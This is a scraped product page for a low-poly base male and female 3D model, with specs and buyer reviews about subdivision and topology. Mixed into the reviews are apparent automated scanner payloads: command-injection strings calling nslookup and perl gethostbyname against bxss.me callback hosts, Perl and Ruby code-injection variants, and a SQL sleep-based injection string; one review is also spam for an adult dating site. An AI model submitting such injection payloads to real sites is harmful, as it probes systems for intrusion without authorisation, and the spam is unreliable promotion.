Low Poly Base Maille-Femme / Homme modèle 3D
106
Licence Libre de DroitsToutes les utilisations prolongées
Retours simples
Garantie du meilleur prix
Fonctionne hors de la boîte
Caractéristiques
- Géométriepolygonal
- Des polygones1,216
- Sommets1,140
- Les texturesNo
- GrééNo
- AniméNo
- Prêt pour l'impression 3DNo
- Jeu Prêt (low poly)No
- UV mappéNo
- UV non emballésunknown
La description
Created in LightWave 8.5, these Models are a petite female and a medium weight Male Model. They come ready to add detail, edit or be used with a Sculpting program (i.e. Sculptris, Zbrush, etc...) or just subdivided in your program of choice. There is no surfaces/weight maps assigned but they are ready for you to do so. You can also easily rig these models for animation practice. They are both in the same .lwo and .obj file.
Jan 16, 2018
date ajoutée
Jul 30, 2021
dernière mise à jour
Avis
Just a bad lowpoly model, is not worth any money there are better free options
Just a bad lowpoly model, is not worth any money there are better free options.Try this https://alexanderclifford.co.uk/
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&(nslookup hitytbqyqozimdf721.bxss.me||perl -e "gethostbyname('hitytbqyqozimdf721.bxss.me')")&'\"`0&(nslookup hitytbqyqozimdf721.bxss.me||perl -e "gethostbyname('hitytbqyqozimdf721.bxss.me')")&`'
;(nslookup hitbvdppamora5d961.bxss.me||perl -e "gethostbyname('hitbvdppamora5d961.bxss.me')")|(nslookup hitbvdppamora5d961.bxss.me||perl -e "gethostbyname('hitbvdppamora5d961.bxss.me')")&(nslookup hitbvdppamora5d961.bxss.me||perl -e "gethostbyname('hitbvdppamora5d961.bxss.me')")
'.gethostbyname(lc('hityq'.'aujwjitacc624.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(116).chr(83).chr(103).chr(68).'
".gethostbyname(lc("hitev"."imbgpprze67cf.bxss.me."))."A".chr(67).chr(hex("58")).chr(100).chr(88).chr(111).chr(72)."
"+"A".concat(70-3).concat(22*4).concat(104).concat(69).concat(103).concat(71)+(require"socket"
Socket.gethostbyname("hitez"+"wdyczllkb9caf.bxss.me.")[3].to_s)+"
'+'A'.concat(70-3).concat(22*4).concat(106).concat(80).concat(112).concat(72)+(require'socket'
Socket.gethostbyname('hitts'+'nodduzjsb00d1.bxss.me.')[3].to_s)+'
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
There was a time when I decided to explore online dating platforms to get a better sense of how they work. I signed up for https://www.tenderbang.com/local-slut.html and was surprised by how easy it was to meet people with similar interests. I remember a few funny moments when people immediately wanted to meet up, while I was more interested in having a conversation first. That’s when I realized that online dating can mean different things for different people.
As sacknaps said, they are actually the correct models despite not looking right at first. Just apply one level of subdivision and you will see that they are precisely as imaged. This was a huge timesaver for my purposes, thank you!
Indeed when first opening it up in blender I was a bit shocked as it is much lower res than the images shown, but literally just 1 subdivision modifier with stock settings fixed it, looks just like the image, so no foul play. Great stuff, super happy for the price, huge time saver as the models are so arbitrary and can be used to start as a template for lots of different body types
The file isn't quite like the photos, but not far off. Looks like something happened with a mirror modifier before the file being sold was uploaded. So when I pulled it into Blender I had to slice it in half, turn my mirror modifier back on and adjust some of the vertices.
But ya know, this still saved me a lot of time rather than starting from scratch, the topology is pretty nice as is and show work well for animation out of the box.
The topology also works well if you're looking to subdivide it and make a more detailed model but want to skip the beginning steps of blocking out the torso, etc.
Thanks Cyfus! Appreciate you!
The files are not the same of the image!
This is a theft!
The files are the same as what's shown in the image. All of the vertices are exactly where they are in the image; 3D software has a preview smoothed function, which is what we're seeing in the image. You can simply preview the smoothed models, or you can actually smooth them, and it will be identical to the image.